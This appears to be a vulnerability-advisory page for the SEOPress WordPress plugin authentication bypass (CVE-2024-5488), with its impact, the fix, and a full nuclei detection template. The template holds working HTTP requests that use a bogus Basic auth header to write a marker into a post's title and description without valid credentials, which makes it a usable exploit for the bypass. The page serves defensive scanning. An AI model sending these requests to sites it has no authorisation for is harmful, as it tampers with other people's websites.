SEOPress < 7.9 - Authentication Bypass

criticalseverity

9.8CVSS score

3.7%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

The SEOPress WordPress plugin before 7.9 does not properly protect some of its REST API routes, which combined with another Object Injection vulnerability can allow unauthenticated attackers to unserialize malicious gadget chains, compromising the site if a suitable chain is present.

Impact

Unauthenticated attackers can bypass authentication protections and exploit object injection to unserialize malicious gadget chains, potentially achieving remote code execution if suitable chains are present.

Fix

Update SEOPress plugin to version 7.9 or later to address the authentication bypass and object injection vulnerabilities.

How to confirm it

Send: PUT /wp-json/seopress/v1/posts/1/title-description-metas
Positive when: contains "Sorry, you are not allowed to do that."
Send: PUT /wp-json/seopress/v1/posts/1/title-description-metas
Positive when: contains "\"code\":\"success\""
Send: GET /wp-json/seopress/v1/posts/1/title-description-metas
Positive when: contains "\"title\":\"{{marker}}\",\"description\":\"{{marker}}\""

Run it with nuclei: nuclei -id CVE-2024-5488 -u <target>

The full check

id: CVE-2024-5488

info:
  name: SEOPress < 7.9 - Authentication Bypass
  author: pdresearch,iamnoooob,rootxharsh
  severity: critical
  description: |
    The SEOPress WordPress plugin before 7.9 does not properly protect some of its REST API routes, which combined with another Object Injection vulnerability can allow unauthenticated attackers to unserialize malicious gadget chains, compromising the site if a suitable chain is present.
  impact: |
    Unauthenticated attackers can bypass authentication protections and exploit object injection to unserialize malicious gadget chains, potentially achieving remote code execution if suitable chains are present.
  remediation: |
    Update SEOPress plugin to version 7.9 or later to address the authentication bypass and object injection vulnerabilities.
  reference:
    - https://wpscan.com/blog/object-injection-vulnerability-fixed-in-seopress-7-9/
    - https://wpscan.com/vulnerability/28507376-ded0-4e1a-b2fc-2182895aa14c/
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5488
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5488
    epss-score: 0.03744
    epss-percentile: 0.89952
  metadata:
    verified: true
    max-request: 3
  tags: cve,cve2024,wp,wordpress,wp-plugin,seopress,auth-bypass,vuln

flow: http(1) && http(2) && http(3)

variables:
  marker: "{{randstr}}"
  username: "admin"

http:
  - raw:
      - |
        PUT /wp-json/seopress/v1/posts/1/title-description-metas HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'Sorry, you are not allowed to do that.'
        internal: true

  - raw:
      - |
        PUT /wp-json/seopress/v1/posts/1/title-description-metas HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username+':aaaaaa')}}
        Content-Type: application/x-www-form-urlencoded

        title={{marker}}&description={{marker}}

    matchers:
      - type: word
        part: body
        words:
          - '"code":"success"'
        internal: true

  - raw:
      - |
        GET /wp-json/seopress/v1/posts/1/title-description-metas HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"title":"{{marker}}","description":"{{marker}}"'

References

Use this check only on systems you are authorised to test. Where the data comes from